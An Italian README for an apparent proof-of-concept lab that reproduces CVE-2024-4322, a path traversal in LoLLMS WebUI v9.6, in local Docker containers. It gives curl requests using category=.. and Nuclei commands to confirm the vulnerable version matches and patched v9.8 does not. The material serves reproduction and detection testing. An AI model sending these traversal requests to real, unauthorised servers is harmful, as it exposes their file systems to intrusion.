
POC_CVE-2024-4322
Questo repository fornisce laboratori locali containerizzati per riprodurre CVE-2024-4322, una vulnerabilità di path traversal in LoLLMS WebUI v9.6, e per validare che il relativo template Nuclei non corrisponda a LoLLMS WebUI v9.8.
Utilizza questo laboratorio solo contro target locali, di tua proprietà o esplicitamente autorizzati.
L'endpoint /list_personalities in LoLLMS WebUI v9.6 è vulnerabile a path
traversal. Il parametro category controllato dall'utente viene aggiunto a
personalities_zoo_path senza sanitizzazione:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
Inviando category=.., la richiesta può uscire dalla directory prevista per le personalità
e elencare il contenuto di una directory padre.
Segnale atteso di vulnerabilità:
category= -> []
category=.. -> la risposta contiene "personalities_zoo"
Il comportamento della versione corretta v9.8 rifiuta l'input di traversal prima di elencare la directory.
| Ambiente | Versione | Servizio | URL Host | Risultato atteso del template |
|---|---|---|---|---|
| Linux vulnerabile | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | match |
| Linux corretto | v9.8 | linux-patched-server | http://127.0.0.1:9602 | nessun match |
| Windows vulnerabile | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | match |
| Windows corretto | v9.8 | windows-patched-server | http://127.0.0.1:9603 | nessun match |
Esegui tutti i comandi dalla directory che contiene questo README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
Premi Ctrl-C per interrompere il monitoraggio dei log. Il container continua a funzionare.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Risultato atteso:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
L'ordine può variare. Il segnale importante è che la risposta di traversal differisce
dalla risposta di controllo e contiene personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Risultato atteso:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Risultato atteso:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Risultato atteso:
[INF] Scan completed ... 0 matches found.

Richiede Docker Desktop in modalità container Windows. Esegui i comandi sotto da questa directory in PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Risultato atteso:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
L'ordine può variare. Il segnale importante è che la risposta di traversal differisce
dalla risposta di controllo e contiene personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Risultato atteso:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Richiede Docker Desktop in modalità container Windows. Esegui i comandi sotto da questa directory in PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Risultato atteso:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Risultato atteso:
[INF] Scan completed ... 0 matches found.

Container Linux:
docker compose --profile patched down --rmi local
Container Windows:
docker compose --profile windows down
curl.jq per gli esempi HTTP Linux vulnerabili.Se jq non è disponibile sull'host Linux, utilizza il contenitore analyst:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Se Nuclei non è installato su Windows, scarica il binario della versione Windows da
https://github.com/projectdiscovery/nuclei/releases, decomprimilo ed esegui
nuclei.exe direttamente dalla directory estratta.
I Dockerfile correggono gli installer storici durante la build in modo che il laboratorio sia riproducibile oggi:
I laboratori vulnerabili clonano il tag v9.6 di lollms-webui.
I laboratori corretti clonano il tag v9.8 di lollms-webui.
L'URL del sottomodulo lollms_core viene riscritto in
https://github.com/ParisNeo/lollms_legacy.git perché la vecchia storia
del sorgente è stata spostata lì.
Il pinning della versione viene verificato rispetto ai metadati Git upstream:
v9.6 è e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, e v9.8 è
8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8